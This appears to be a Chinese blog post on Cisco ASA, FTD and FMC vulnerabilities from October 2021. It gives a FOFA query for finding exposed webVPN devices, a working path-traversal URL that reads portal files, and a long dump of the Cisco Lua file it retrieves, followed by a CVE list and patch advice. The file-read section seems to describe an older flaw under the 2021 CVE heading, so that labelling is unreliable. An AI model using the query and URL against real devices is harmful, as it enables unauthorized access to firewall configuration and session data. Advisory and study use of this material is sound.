漏洞概述

2021年10月27日,Cisco发布安全公告,修复了Cisco Firepower 威胁防御 (FTD)、Cisco思科自适应安全设备 (ASA)和Firepower 管理中心 (FMC)中的多个安全漏洞。


CISCO ASA远程任意文件读取


Cisco Adaptive Security Appliance (ASA)是思科的一种防火墙设备。


Cisco Adaptive Security Appliance (ASA)防火墙设备以及Cisco Firepower Threat Defense(FTD)设备的web管理界面存在未授权的目录穿越漏洞和远程任意文件读取漏洞。攻击者只能查看web目录下的文件,无法通过该漏洞访问web目录之外的文件。该漏洞可以查看webVpn设备的配置信息,cookies等。


影响版本

Cisco ASA 设备影响版本:

<9.6.1
9.6 < 9.6.4.42
9.71
9.8 < 9.8.4.20
9.9 < 9.9.2.74
9.10 < 9.10.1.42
9.12 < 9.12.3.12
9.13 < 9.13.1.10
9.14 < 9.14.1.10

Cisco FTD设备影响版本:

6.2.2
6.2.3 < 6.2.3.16
6.3.0 < Migrate to 6.4.0.9 + Hot Fix or to 6.6.0.1
6.4.0 < 6.4.0.9 + Hot Fix
6.5.0 < Migrate to 6.6.0.1 or 6.5.0.4 + Hot Fix (August 2020)
6.6.0 < 6.6.0.1

漏洞复现

FOFA语法

“webVpn”

CVE-2021-40116|CVE-2021-34783等——Cicso多个安全漏洞_原力计划

POC

https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

CVE-2021-40116|CVE-2021-34783等——Cicso多个安全漏洞_原力计划_02

CVE-2021-40116|CVE-2021-34783等——Cicso多个安全漏洞_sed_03

-- Copyright (C) 2006-2014 by Cisco Systems, Inc.
-- Created by otrizna@cisco.com

ADD_HTTP_RESP_HEADER("X-Frame-Options", "SAMEORIGIN");

dofile("/+CSCOE+/include/common.lua")
dofile("/+CSCOE+/include/browser_inc.lua")

local function compare(a,b) return a["order"]<b["order"] end;

function INTERNAL_PASSWORD_ENABLED(name)
return false;
end

function CONF_VIRTUAL_KEYBOARD(name)
return false;
end

no_inheritance = false
custom_profile=""
asdm_custom_file = ""

function SetSessionData(index,name,value)

local f1
f1=io.open("/sessions/"..index.."/session_data","w")
if f1 then
io.set_metadata_int(f1,name,value)
f1:close()
end

end

function GetSessionData(index,name,value)

local f1
f1=io.open("/sessions/"..index.."/session_data","r")
if f1 then
local ret = io.get_metadata_int(f1,name)
f1:close()
return ret
end
return nil
end


function xValue(value)
if value then
local ret = string.gsub(value,"\"",""")
OUT(" value=\""..ret.."\"")
end
end

function sHTML(value)
if value then
ret = string.gsub(value,"&","&")
ret = string.gsub(ret,"<","<")
ret = string.gsub(ret,">",">")
return ret
end

return nil

end

function explode(str,delim)

local ret={}
for val in string.gfind(str,"[^"..delim.."]+") do
table.insert(ret, val)
end

return ret

end


function GetUrlLists()


local url_list_name
local url_lists = {}

local url_lists_str = SESSION_URL_LISTS()
for url_list_name in string.gfind(url_lists_str,"[^,]+") do
table.insert(url_lists, url_list_name)
end

return url_lists

end

function socket_url_parse(url, default)
-- initialize default parameters
local parsed = {}
for i,v in pairs(default or parsed) do parsed[i] = v end
-- empty url is parsed to nil
if not url or url == "" then return nil, "invalid url" end
-- remove whitespace
-- url = string.gsub(url, "%s", "")
-- get fragment
--[[
url = string.gsub(url, "#(.*)$", function(f)
parsed.fragment = f
return ""
end)
--]]
-- get scheme
url = string.gsub(url, "^([%w][%w%+%-%.]*)%:",
function(s) parsed.scheme = s; return "" end)
-- get authority
url = string.gsub(url, "^//([^/%?]*)", function(n)
parsed.authority = n
return ""
end)
-- get query stringing
url = string.gsub(url, "%?(.*)", function(q)
parsed.query = q
return ""
end)
-- get params
url = string.gsub(url, "%;(.*)", function(p)
parsed.params = p
return ""
end)
-- path is whatever was left
if url ~= "" then parsed.path = url end
local authority = parsed.authority
if not authority then return parsed end
authority = string.gsub(authority,"^([^@]*)@",
function(u) parsed.userinfo = u; return "" end)

local ipv6 = false

if(string.sub(authority,1,1) == "[") then
authority = string.gsub(authority,"^%[(.-)%]",
function(u) parsed.host = u; ipv6 = true; return "" end)
end

authority = string.gsub(authority, ":([^:]*)$",
function(p) parsed.port = p; return "" end)

if authority ~= "" and not ipv6 then parsed.host = authority end
local userinfo = parsed.userinfo
if not userinfo then return parsed end
userinfo = string.gsub(userinfo, ":([^:]*)$",
function(p) parsed.password = p; return "" end)
parsed.user = userinfo
return parsed
end



function ParseURL(url)

local durl = {
url = "",
scheme = "",
authority = "",
path = "",
params = "",
query = "",
fragment = "",
userinfo = "",
host = "",
port = "",
user = "",
password = ""
}


local nurl = socket_url_parse(url, durl)

return nurl.scheme,nurl.host,nurl.port,nurl.path .. (((nurl.query or "") ~= "" and ("?"..nurl.query)) or "")

end


function GetAppInfo(apps)
local protocol={}
local app_info={}
for _,app in apps do
app_info[app["id"]] = app
if nil ~= app["protocol"] and app["mode"] ~= "disable" then
for p in string.gfind(app["protocol"] or "","[%w]+") do
protocol[p]=app["id"]
end
end
end
return app_info,protocol
end

function GetLogonFields()

local fields= {{id="group",name="Group",order=100},
{id="username",name="Username",order=200},
{id="password",name="Password",order=300},
{id="internal-password", name="Internal Password",order=400},
{id="secondary-username", name="Second Username",order=500},
{id="secondary-password", name="Second Password",order=600}}


for i,fld in ipairs(fields) do
local order = CUSTOM("auth-page/form-order/"..fields[i]["id"])
if fld["id"]=="internal-password" and
(not order or order == "") and
CUSTOM("auth-page/logon-form/internal-password-first") == "yes" then
order = 250 -- backward compatibility with the old customization setting
end

if (order and order ~= "") then fld["order"]=tonumber(order) end

end
table.sort(fields,function (a,b) return a["order"] < b["order"] end)
return fields
end



function LOAD_URL_LIST(name,absolute_path,bookmark_number)

local f
local ret={}
local sso_enabled=0;
local name_md5 = MD5(name)

if absolute_path and "" ~= absolute_path then
f=io.open(absolute_path,"r")
else
f=io.open("/bookmarks/"..name_md5,"r")
end


if not f then return {} end

local function get_value(value)

if not value then return nil end
if string.len(value) == 0 then return "" end
return string.sub(value,2)
end

local path = "/url-list/"

local function lget_value(textdomain,value)
if nil == value then return nil end
if string.len(value) == 0 then return "" end
if string.sub(value,1,1) == '+' then
if string.len(value) > 1 then
return gettext.dgettext(textdomain,string.sub(value,2))
else
return ""
end
else
return string.sub(value,2)
end
end

ret["list"] = name_md5
ret["title"] = lget_value("url-list",io.get_metadata_str(f,path.."title"))
ret["favorite"] = get_value(io.get_metadata_str(f,path.."favorite"));
ret["bookmark"]={}

local i = bookmark_number or 1
while true do
local path = "/url-list/bookmark/"..i.."/"
local url = get_value(io.get_metadata_str(f,path.."url"));

if nil ~= url then
ret["bookmark"][i]={}
ret["bookmark"][i]["n"]=i
ret["bookmark"][i]["list"] = name_md5
ret["bookmark"][i]["id"] = get_value(io.get_metadata_str(f,path.."id"))
ret["bookmark"][i]["favorite"] = get_value(io.get_metadata_str(f,path.."favorite"))
ret["bookmark"][i]["title"] = lget_value("url-list",io.get_metadata_str(f,path.."title"))
ret["bookmark"][i]["method"] = get_value(io.get_metadata_str(f,path.."method"))
ret["bookmark"][i]["subtitle"] = lget_value("url-list",io.get_metadata_str(f,path.."subtitle"))
ret["bookmark"][i]["thumbnail"] = lget_value("url-list",io.get_metadata_str(f,path.."thumbnail"))
ret["bookmark"][i]["smart-tunnel"] = get_value(io.get_metadata_str(f,path.."smart-tunnel"))
ret["bookmark"][i]["window"] = get_value(io.get_metadata_str(f,path.."window"))
ret["bookmark"][i]["wait-time"] = get_value(io.get_metadata_str(f,path.."wait-time"))
ret["bookmark"][i]["preload-page-url"] = get_value(io.get_metadata_str(f,path.."preload-page-url"))
ret["bookmark"][i]["pre-login-page-url"] = get_value(io.get_metadata_str(f,path.."pre-login-page-url"))
ret["bookmark"][i]["control-id"] = get_value(io.get_metadata_str(f,path.."control-id"))
ret["bookmark"][i]["before-post-script"] = get_value(io.get_metadata_str(f,path.."before-post-script"))

-- injected form submit
ret["bookmark"][i]["injected-form-submit"] = get_value(io.get_metadata_str(f,path.."injected-form-submit"))
ret["bookmark"][i]["pre-login-page-url"] = get_value(io.get_metadata_str(f,path.."pre-login-page-url"))
ret["bookmark"][i]["control-id"] = get_value(io.get_metadata_str(f,path.."control-id"))
ret["bookmark"][i]["login-page-url"] = get_value(io.get_metadata_str(f,path.."login-page-url"))
ret["bookmark"][i]["landing-page-url"] = get_value(io.get_metadata_str(f,path.."landing-page-url"))
ret["bookmark"][i]["form-id"] = get_value(io.get_metadata_str(f,path.."form-id"))
ret["bookmark"][i]["post-param"] = {}

url = get_value(io.get_metadata_str(f,path.."url"))

url = substitute_macro(url,false)

-- Normalize CIFS URLs (cifs://\\host/...)

if(string.sub(url,1,9)=="cifs://\\\\") then
url="cifs://"..(string.sub(url,10) or "")
url=string.gsub(url,"\\","/")
end

ret["bookmark"][i]["url"] = url

if string.find(ret["bookmark"][i]["url"], "csco_sso=1") then
sso_enabled=1;
end

local j=1

while true do
local path = "/url-list/bookmark/"..i.."/post-param/"..j.."/"
local name = get_value(io.get_metadata_str(f,path.."name"))

if nil ~= name then
ret["bookmark"][i]["post-param"][j]={}
ret["bookmark"][i]["post-param"][j]["name"] = get_value(io.get_metadata_str(f,path.."name"))
ret["bookmark"][i]["post-param"][j]["value"] = get_value(io.get_metadata_str(f,path.."value"))
else
break
end
j=j+1
end
else
break
end

-- if loading just one bookmark from the list
if bookmark_number then
break
end

i=i+1

end
f:close()

local sso = io.open("sessions/"..SESSION_INDEX().."/sso","w")
if sso then
if 1 == sso_enabled then
-- allow sso call
io.set_metadata_str(sso, "allowed", "yes")
end
sso:close()
end

return ret

end

function post_params2js_array(bookmark)

return "[{ 'l' : '"..(bookmark["list"] or "").."', 'n' : "..(bookmark["n"] or "0").."}]"

--[[
local post_params="null"

if table.getn(bookmark["post-param"])>0 then
post_params = "["
for i,prm in bookmark["post-param"] do

local name
name = string.gsub(prm["name"],"'","\\'") or "";
name = string.gsub(name,"\\","\\\\") or "";


local value
value = string.gsub(prm["value"],"'","\\'") or "";
value = string.gsub(value,"\\","\\\\") or "";

post_params = post_params ..(((i>1) and ",") or "" ) .. "{name : '"..name.."', value : '"..value.."'}"
end
post_params = post_params.."]"
end

return post_params
--]]

end


function show_bookmarks()



end

function BookmarkApplyACL(bookmark,proto,host,port,path,defports,otherports)
if (port ~= nil and port ~= "") then
bookmark["enabled"],bookmark["dns_error"] = SESSION_CHECK_URL(proto,host,port,path);
else
--check default port
if (defports[proto]) then
bookmark["enabled"],bookmark["dns_error"] = SESSION_CHECK_URL(proto,host,defports[proto],path);
end
--check other ports, if there are any
if (otherports[proto]) then
local i, p = next(otherports[proto])
while (i and bookmark["enabled"]) do
bookmark["enabled"],bookmark["dns_error"] = SESSION_CHECK_URL(proto,host,p,path)
i, p = next(otherports[proto], i)
end
end
end
end

function BookmarkApplySupportCheck(bookmark)
if (bookmark["method"] == "post" and bookmark["smart-tunnel"] == "yes" and browser_info.os ~= "Windows") then
bookmark["support_error"] = 1
bookmark["enabled"] = false
end
end


function GROUP_SELECTOR_ENABLED()
return true;
end

function print_tree(s,d)

if(nil == d) then d = 0 end
if(nil == s) then OUT("nil");return end

for k,v in s do
OUT(string.rep("&nbsp;",d*5)); OUT(k);
if(type(v)=="table") then
OUT("<BR>");
print_tree(v,d+1)
else
if(type(v)=="boolean") then
if v then OUT( "#true") else OUT(" #false") end
OUT("<br>")
else
if(type(v)=="function") then
OUT("= (function)<br>")
else
OUT("="..v.."<BR>");
end
end
end
end
end

function mangle_url(str)

local s,e,p
local path;

if nil == str then return "/+CSCOE+/blank.html" end

s, e = string.find(str,"http[s]?://([^/?]+)")

if(s ~= nil) then
p = ((string.sub(str,e+1,e+1) == "/") and e+1 ) or e
path = string.sub(str,p+1);
return '/+CSCO+00'..ROT13STR2HEX(string.sub(str,1,e))..'++/'..path;

end
end


function get_applications(no_session_check)

--
-- This function may be used in context where there is no webvpn session (for example Customization Editor)
-- Use if(not no_session_check) in places where you retrieve session data
--

local c_app = {};

local n1 = 0
local n2 = 0

local i = 0;
local lang

if is_asdm then
lang = "en"
else
lang = get_selected_language()
end
-- Stock applications

local app = {}

i=i+1
app[i]={}
app[i]["tab-title"] = L("Home")
app[i]["id"] = "home"
app[i]["order"] = i*1000

i=i+1
app[i]={}
app[i]["tab-title"] = L("Web Access")
app[i]["id"] = "web-access"
app[i]["protocol"] = "http,https"
app[i]["default-port"] = "80,443"
app[i]["url-list-title"] = L("Web Bookmarks")
app[i]["order"] = i*1000

i=i+1
app[i]={}
app[i]["tab-title"] = L("File Access")
app[i]["id"] = "file-access"
app[i]["protocol"] = "cifs,ftp"
app[i]["default-port"] = "138,21"
app[i]["other-port"] = {cifs = {"139"}}
app[i]["url-list-title"] = L("File Bookmarks")
app[i]["order"] = i*1000

i=i+1
app[i]={}
app[i]["tab-title"] = L("Application Access")
app[i]["id"] = "app-access"
app[i]["url-list-title"] = L("File Bookmarks")
app[i]["order"] = i*1000

i=i+1
app[i]={}
app[i]["tab-title"] = L("AnyConnect")
app[i]["id"] = "net-access"
app[i]["order"] = i*1000


if IS_TARGET_UNICORN then

i=i+1
app[i]={}
app[i]["tab-title"] = L("Terminal Servers")
app[i]["id"] = "rdp"
app[i]["order"] = i*1000
app[i]["protocol"] = "rdp"
app[i]["default-port"] = "800"
app[i]["type"] = "1"


end


-- Plugins

local a = lfs.attributes("/plugin")



if a and a.mode == "directory" then
for fname in lfs.dir ("/plugin") do
if fname ~= "." and fname ~= ".." then
local f=io.open("/plugin/"..fname.."/index.html","r")

if f then
i=i+1
app[i]={}


app[i]["tab-title"] = io.get_metadata_str(f,"tab-title")
app[i]["url-list-title"] = io.get_metadata_str(f,"bookmark-title")

if lang and lang ~= "en" and lang ~= "en-us" then

app[i]["tab-title"] = io.get_metadata_str(f,lang..":tab-title") or app[i]["tab-title"]
app[i]["url-list-title"] = io.get_metadata_str(f,lang..":bookmark-title") or app[i]["url-list-title"]


end

app[i]["id"] = io.get_metadata_str(f,"id")
app[i]["protocol"] = io.get_metadata_str(f,"protocol")
-- TODO facilitate default port from plugin's manifest
local p_protocol = {}
for s in string.gfind(app[i]["protocol"],"[%w]+") do
table.insert(p_protocol,"0")
end
app[i]["default-port"] = table.concat(p_protocol,",")
app[i]["type"] = "1"
app[i]["order"] = i*1000

f:close()
end
end
end
end

c_app = CUSTOM_OBJECTS("/custom/portal/application",{{"id",false},{"order",false},{"tab-title",true},{"url-list-title",true},{"mode",false}})

n1= table.getn(c_app);
n2= table.getn(app);

for i1 = 1,n1,1 do
for i2 = 1,n2,1 do

if(app[i2]["id"] == c_app[i1]["id"]) then

if(nil ~= c_app[i1]["order"]) then app[i2]["order"] = tonumber(c_app[i1]["order"]); end;
if(nil ~= c_app[i1]["tab-title"]) then app[i2]["tab-title"] = c_app[i1]["tab-title"]; end;
if(nil ~= c_app[i1]["mode"]) then app[i2]["mode"] = c_app[i1]["mode"]; end;
if(nil ~= c_app[i1]["url-list-title"]) then app[i2]["url-list-title"] = c_app[i1]["url-list-title"]; end;

end;
end;
end;

if not no_session_check then

local ua = HTTP_HEADER_BY_NAME('user-agent')
local stapps = ""
if (ua and string.find (ua, "Macintosh")) then
stapps = SESSION_GET_SMART_TUNNELED_APPS("mac")
--[[
elseif (ua and string.find (ua, "Linux")) then
stapps = SESSION_GET_SMART_TUNNELED_APPS("linux")
--]]
elseif (ua) then
stapps = SESSION_GET_SMART_TUNNELED_APPS("windows")
end
local no_smart_tunnel = stapps == ""



for i2 = 1,n2,1 do

if (app[i2]["id"] == "net-access" and not (SESSION_ANYCONNECT_ENABLED() and SESSION_ANYCONNECT_CONFIGURED())) or (app[i2]["id"] == "app-access" and not (SESSION_FEATURE_ENABLED("port-forwarding")) and no_smart_tunnel) then
app[i2]["mode"] = "disable"
end

end
end



table.sort(app,compare);

return app;
end;


function GetColumns()

local cols = CUSTOM_OBJECTS("/custom/portal/column",{{"width",false,"percent"},{"order",false,nil,"0"}})

local function s(a,b)

return tonumber(a["order"])<tonumber(b["order"])

end

if table.getn(cols) == 0 then
return {{width="100",order="0",pane={}}}
end

table.sort(cols,s)

for _,col in cols do
col["pane"]={}
end

return cols
end



function CUSTOM_OBJECTS(path,fields)

local f
local ret


id = fields[1][1]

local first_item = path.."/1/"..id

if "" ~= asdm_custom_file then
f=io.open(asdm_custom_file,"r")
else
f=io.open("/customization/"..MD5(custom_profile),"r")
end

if nil == f then return {} end

ret = {}

for i=1,10000,1 do

ptype = io.get_metadata_str(f,path.."/"..i.."/"..id)

if nil == ptype then break end

ret[i]= {}
for _,fname in fields do
local name = fname[1]
local can_localize = fname[2]
local type = fname[3]
local def_value = fname[4]

ret[i][name] = io.get_metadata_str(f,path.."/"..i.."/"..name)

if ret[i][name] and string.len(ret[i][name]) > 1 then

if type then
if type == "number" then
ret[i][name] = tonumber(string.sub(ret[i][name],2))
end

if type == "percent" then
ret[i][name] = string.gsub(ret[i][name],"%%"," ")
ret[i][name] = tonumber(string.sub(ret[i][name],2)) or 0
end

else
local localize = string.sub(ret[i][name],1,1)
if localize == "+" and can_localize then
ret[i][name] = gettext.dgettext("customization",string.sub(ret[i][name],2))
else
ret[i][name] = string.sub(ret[i][name],2)
end
end
else
ret[i][name] = def_value
end
end

end

f:close()

return ret

end


function CUSTOM(param,default,localize)

local f;

local function file_name()

if "" ~= asdm_custom_file then
return(asdm_custom_file)
else
return "/customization/"..MD5(custom_profile)
end

end

f=io.open(file_name(),"r")
if not f then return default end

local s = io.get_metadata_str(f,"/custom/"..param);

f:close()

if s and string.len(s)>1 then
local localize = string.sub(s,1,1)
if localize == "-" then
return string.sub(s,2)
else
return gettext.dgettext("customization",string.sub(s,2))
end
end

if nil == default then default = "" end

return default

end

function CheckAlerts()


local reason = 0
local user_alert = SESSION_USER_ALERT()
local idle_alert_time = SESSION_IDLE_ALERT_INTERVAL() * 60
local end_alert_time = SESSION_END_ALERT_INTERVAL() * 60
local max_connect_time = SESSION_MAX_CONNECT_TIME()

tin = max_connect_time -(SESSION_TIME() - SESSION_LOGIN_TIME())

if end_alert_time > 0 and max_connect_time ~=0 and tin <= end_alert_time + 5 then
reason=1
else
tin = SESSION_MAX_IDLE_TIME() - SESSION_IDLE_TIME()

if idle_alert_time > 0 and tin <= idle_alert_time + 5 then
reason = 2
end

end

if reason == 0 and (not user_alert or user_alert=="" ) then return false end

return true

end

function FileURL(url)

return "javascript: parent.doURL('"..ROT13STR2HEX(clean_escape(url)).."','','',false,'', false)";

end

function GetPostParams()
local s
local state = 10
local params = {}
local name=nil
while nil~=state do
s,state = HTTP_READ_URL_ENCODED_BODY(state)
if state == 10 then
params[name]=HTTP_URL_DECODE(s,1)
elseif state==15 then
name = HTTP_URL_DECODE(s,1)
params[name]=""
name=nil
elseif state==20 then
name = HTTP_URL_DECODE(s,1)
params[name]=""
elseif state==30 then
if nil == name then
params[HTTP_URL_DECODE(s,1)]=""
else
params[name]=HTTP_URL_DECODE(s,1)
end

break;
end
end
return params

end


function UpdateAsdmSession(cookie)
if not IS_TARGET_UNICORN then
local f=io.open('asdm/'..cookie, "a+")
if f ~= nil then
f:close()
return true;
end
end
end

function CheckAsdmSession(cookie, no_redirect)
-- remove expired

local diff

TRACE_CUSTOM("ASDM Cookie = "..(cookie or ""),10)

pcall(function()
for file in lfs.dir("asdm") do
if file ~= "." and file ~= ".." then
local f = 'asdm/'..file
local attr = lfs.attributes (f)

assert (type(attr) == "table")
diff = (SESSION_TIME() - attr["modification"])
if diff > 360000 then
os.remove(f)
end
end
end
end)
local f=io.open('asdm/'..cookie, "r")
if f ~= nil then
f:close()
return true;
end

if not no_redirect then
OUT("<script>top.close(); top.location.replace('/+CSCOE+/blank.html')</script>")
end
TRACE_CUSTOM("Wrong ASDM cookie = "..(cookie or "").."\n",1)
return false,diff

end


function GetDefaultPorts(applications)
local ret={}
local extra={}
for _,ap in applications do
local protocol={}
local ports={}
if ap["protocol"] then


for s in string.gfind(ap["protocol"],"[%w]+") do
table.insert(protocol,s)
end

if ap["default-port"] then
for s in string.gfind(ap["default-port"],"[%w]+") do
table.insert(ports,s)
end
end

for i,v in protocol do
ret[v]=ports[i]
if ap["other-port"] then
extra[v]=ap["other-port"][v]
end
end

end
end
return ret,extra

end



function GetRGB(a)

local r = tostring(tonumber(string.sub(a, 2, 3), 16))
local g = tostring(tonumber(string.sub(a, 4, 5), 16))
local b = tostring(tonumber(string.sub(a, 6, 7), 16))

return r,g,b

end


function gui_title_style(page)


local title_style = CUSTOM(page.."/title-panel/style","")

local ret = ""

if title_style ~= "" then

ret = "."..page.."-title {"..title_style.."}"


else

local bgc = CUSTOM(page.."/title-panel/background-color","#2b76ad")
local color = CUSTOM(page.."/title-panel/font-color","#ffffff")
local font_size = CUSTOM(page.."/title-panel/font-size","")
local font_weight = CUSTOM(page.."/title-panel/font-weight","")


local gradient = CUSTOM(page.."/title-panel/gradient","no")
local gr=""



if gradient=="yes" then

local r,g,b = GetRGB(bgc)

gr="background-image:url('/+CSCOU+/gradient.gif?r="..r.."&g="..g.."&b="..b.."');"

else

gr="background-color:"..bgc..";"

end




ret = ret .. "."..page.."-title {"
ret = ret .. ((color ~="" and "color:"..color..";") or "")
ret = ret .. ((font_size ~="" and "font-size:"..font_size..";") or "")
ret = ret .. ((font_weight ~="" and "font-weight:"..font_weight..";") or "")
ret = ret .. gr
ret = ret .. "}\n"

end

if page=="auth-page" then
local bgc = CUSTOM(page.."/logon-form/title-background-color","")
local color = CUSTOM(page.."/logon-form/title-font-color","")
ret = ret .. "."..page.."-form-title {"
ret = ret .. ((bgc ~="" and "background-color:"..bgc..";") or "")
ret = ret .. ((color ~="" and "color:"..color..";") or "")
ret = ret .. "}\n"
end

return ret

end

function get_persistant_setting(key)

local ret=""
local f=io.open("/sessions/"..SESSION_INDEX().."/key-value","r")

if(nil ~= f) then

ret = io.get_metadata_str(f, key)
if(nil == ret) then
ret=""
end
f:close()
end
return ret
end

function set_persistant_setting(key,value)

local ret=""
local f=io.open("/sessions/"..SESSION_INDEX().."/key-value","w")
if(nil ~= f) then
io.set_metadata_str(f, key, value)
f:close()
end
end

function ExtractLuaErrorString(s)

local b,e

if s then
b,e = string.find(s,":[0-9]+:")

while b do
s = string.sub(s,e+1)
b,e = string.find(s,":[0-9]+:")
end
end

return s

end

function reset_cookies_on_logout ()
ADD_HTTP_RESP_HEADER("Set-Cookie","webvpn="..( (IS_TARGET_UNICORN and "99@1111111111@222222222@3333333333; path=/" ) or "; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure"));
ADD_HTTP_RESP_HEADER("Set-Cookie","webvpnc=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure");
ADD_HTTP_RESP_HEADER("Set-Cookie","webvpn_portal=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure");
--CSCtu28428: Remove webvpnSharePoint cookie every time when Logon/Logout procedure executed, it should
--help us avoid situation when MS PowerPoint uses cookie which had expired webvpn session
ADD_HTTP_RESP_HEADER("Set-Cookie","webvpnSharePoint=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure");
ADD_HTTP_RESP_HEADER("Set-Cookie","webvpnlogin=1; path=/; secure");
ADD_HTTP_RESP_HEADER("Set-Cookie","sdesktop=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; secure");
end


function SESSION_GET_ONE_TIME_PASSWORD ()
local session = HTTP_COOKIE_BY_NAME ("webvpn")
local token = string.format ("%x%x%x%x",get_random(),get_random(),get_random(),get_random())
local id = get_aware_session_index ()
local fp = io.open (string.format ("/sessions/%d/%s", id, token),"w")
if nil ~= fp then
fp:write (session)
fp:close ()
return tostring (id) .. "/" .. token
else
return nil
end
end

function SESSION_GET_ID (token)
local session = nil

if nil == token then
return session;
end

local name = "/sessions/" .. token
local a = lfs.attributes (name)
if a and a.mode == "file" then
local fp = io.open (name, "r")
if nil ~= fp then
session = fp:read ("*all")
fp:close ()
os.remove (name)
end
end

return session
end

function GetGroupCustomization(gr,param,default)

local custom_profile = CONF_TUNNEL_GROUP_CUSTOM_PROFILE(gr) or "DflCustomization"
if custom_profile == "" then custom_profile = "DfltCustomization" end

local file_name = "/customization/"..MD5(custom_profile)

local f=io.open(file_name,"r")
if nil == f then return default end
local s = io.get_metadata_str(f,"/custom/"..param);
f:close()

if s and string.len(s)>1 then
local localize = string.sub(s,1,1)
if localize == "-" then
return string.sub(s,2)
else
return gettext.dgettext("customization",string.sub(s,2))
end
end
return default or ""

end

function get_macro_values(substitute_password)

local macro = {}


-- otrizna:
-- CSCO_WEBVPN_MACRO1 and CSCO_WEBVPN_MACRO2 are arbitrary strings from LDAP.
-- We use it without encoding because we do not know if it is already encoded or not
-- The corresponding macro with the _ENCODED postfix should be used to force URL encoding

local macro_without_encoding = {CSCO_WEBVPN_MACRO1 = true, CSCO_WEBVPN_MACRO2 = true}

macro["CSCO_WEBVPN_CONNECTION_PROFILE"] = SESSION_TGROUP()
macro["CSCO_WEBVPN_MACRO1"] = SESSION_MACRO(1)
macro["CSCO_WEBVPN_MACRO2"] = SESSION_MACRO(2)
macro["CSCO_WEBVPN_MACRO1_ENCODED"] = macro["CSCO_WEBVPN_MACRO1"]
macro["CSCO_WEBVPN_MACRO2_ENCODED"] = macro["CSCO_WEBVPN_MACRO2"]
macro["CSCO_WEBVPN_USERNAME"] = SESSION_USERNAME()
macro["CSCO_WEBVPN_PRIMARY_USERNAME"] = SESSION_PRIMARY_USERNAME()
macro["CSCO_WEBVPN_SECONDARY_USERNAME"] = SESSION_SECONDARY_USERNAME()
if substitute_password then
macro["CSCO_WEBVPN_PASSWORD"] = SESSION_PASSWORD()
macro["CSCO_WEBVPN_PRIMARY_PASSWORD"] = SESSION_PRIMARY_PASSWORD()
macro["CSCO_WEBVPN_SECONDARY_PASSWORD"] = SESSION_SECONDARY_PASSWORD()
macro["CSCO_WEBVPN_INTERNAL_PASSWORD"] = SESSION_INTERNAL_PASSWORD()
end

return macro, macro_without_encoding

end


function substitute_macro(string_to_expand, substitute_password,is_not_url)

local macro_values, macro_without_encoding = get_macro_values(substitute_password)

for macro,value in macro_values do

local do_not_encode = macro_without_encoding[macro]

if is_not_url or do_not_encode then
-- simply substitute the macro if it is not in URL or it does not require encoding
string_to_expand = string.gsub(string_to_expand,macro,escapegsub(value or ""))
else
string_to_expand = string.gsub(string_to_expand,macro,escapegsub((value and socket.url.escape(value)) or ""))
end
end

return string_to_expand

end


function get_external_portal()

local p = {}
p["mode"] = CUSTOM("portal/external-portal/mode")
p["method"] = CUSTOM("portal/external-portal/method")
p["url"] = CUSTOM("portal/external-portal/url")
p["preload-page-url"] = CUSTOM("portal/external-portal/preload-page-url")
p["injected-form-submit"] = CUSTOM("portal/external-portal/injected-form-submit")
p["pre-login-page-url"] = CUSTOM("portal/external-portal/pre-login-page-url")
p["control-id"] = CUSTOM("portal/external-portal/control-id")
p["login-page-url"] = CUSTOM("portal/external-portal/login-page-url")
p["landing-page-url"] = CUSTOM("portal/external-portal/landing-page-url")
p["form-id"] = CUSTOM("portal/external-portal/form-id")
p["smart-tunnel"] = CUSTOM("portal/external-portal/use-smart-tunnel")
p["wait-time"] = CUSTOM("portal/external-portal/wait-time")
p["post-param"] = CUSTOM_OBJECTS("/custom/portal/external-portal/post-param",{{"name",""},{"value",""}})
p["before-post-script"] = CUSTOM("portal/external-portal/before-post-script")
return p

end


function get_bookmark(list_md5,bookmark_number)

local p = {}
local path = "/bookmarks/"..list_md5
local list = LOAD_URL_LIST(nil,path,bookmark_number)
return list["bookmark"][bookmark_number]

end

function output_metatag()
local ua = HTTP_HEADER_BY_NAME('user-agent')
if (ua and string.find (ua, "MSIE")) then
OUT("<meta http-equiv='X-UA-Compatible' content='IE=edge'/>")
end
end

漏洞详情

在本次修复的高危漏洞中,9个为拒绝服务漏洞,3个为命令注入漏洞,以及1个目录遍历漏洞:

CVE-2021-40116:多个 Cisco 产品 Snort 规则拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-34783:思科自适应安全设备软件和 Firepower 威胁防御软件基于软件的 SSL/TLS 拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-34781:思科 Firepower 威胁防御软件 SSH 连接拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-34752、CVE-2021-34755和CVE-2021-34756:思科 Firepower 威胁防御软件命令注入漏洞(CVSS评分:7.8)

CVE-2021-34762:思科 Firepower 管理中心软件身份验证目录遍历漏洞(CVSS评分:8.1)

CVE-2021-40117:思科自适应安全设备软件和 Firepower 威胁防御软件 SSL/TLS 拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-1573、CVE-2021-34704和CVE-2021-40118:思科自适应安全设备软件和 Firepower 威胁防御软件 Web 服务拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-34792:思科自适应安全设备软件和 Firepower 威胁防御软件资源耗尽拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-34793:思科自适应安全设备软件和 Firepower 威胁防御软件透明模式拒绝服务漏洞(CVSS评分:8.6)

其中,CVE-2021-34755 、CVE-2021-34756和CVE-2021-34752都是Cisco FTD 中的命令注入漏洞。由于对用户提供的命令参数验证不足,攻击者可以提交恶意输入来利用这些漏洞,前2个漏洞可以导致经过身份验证的本地攻击者以root权限在受影响设备的系统上执行任意命令,CVE-2021-34752可以导致经过身份验证且具有管理权限的本地攻击者以root权限在受影响设备的系统上执行任意命令。

CVE-2021-34762是由于思科 Firepower 管理中心 (FMC) 基于Web 的管理界面对HTTPS URL 的输入验证不足,经过身份验证的远程攻击者可以通过向受影响的设备发送包含目录遍历字符序列的恶意 HTTPS 请求来利用此漏洞,最终可以在设备上读取或写入任意文件。

处置建议

目前Cisco已经发布了相关补丁,建议受影响的用户及时升级更新。

具体受影响产品及其版本和修复版本信息详见Cisco官方安全公告:

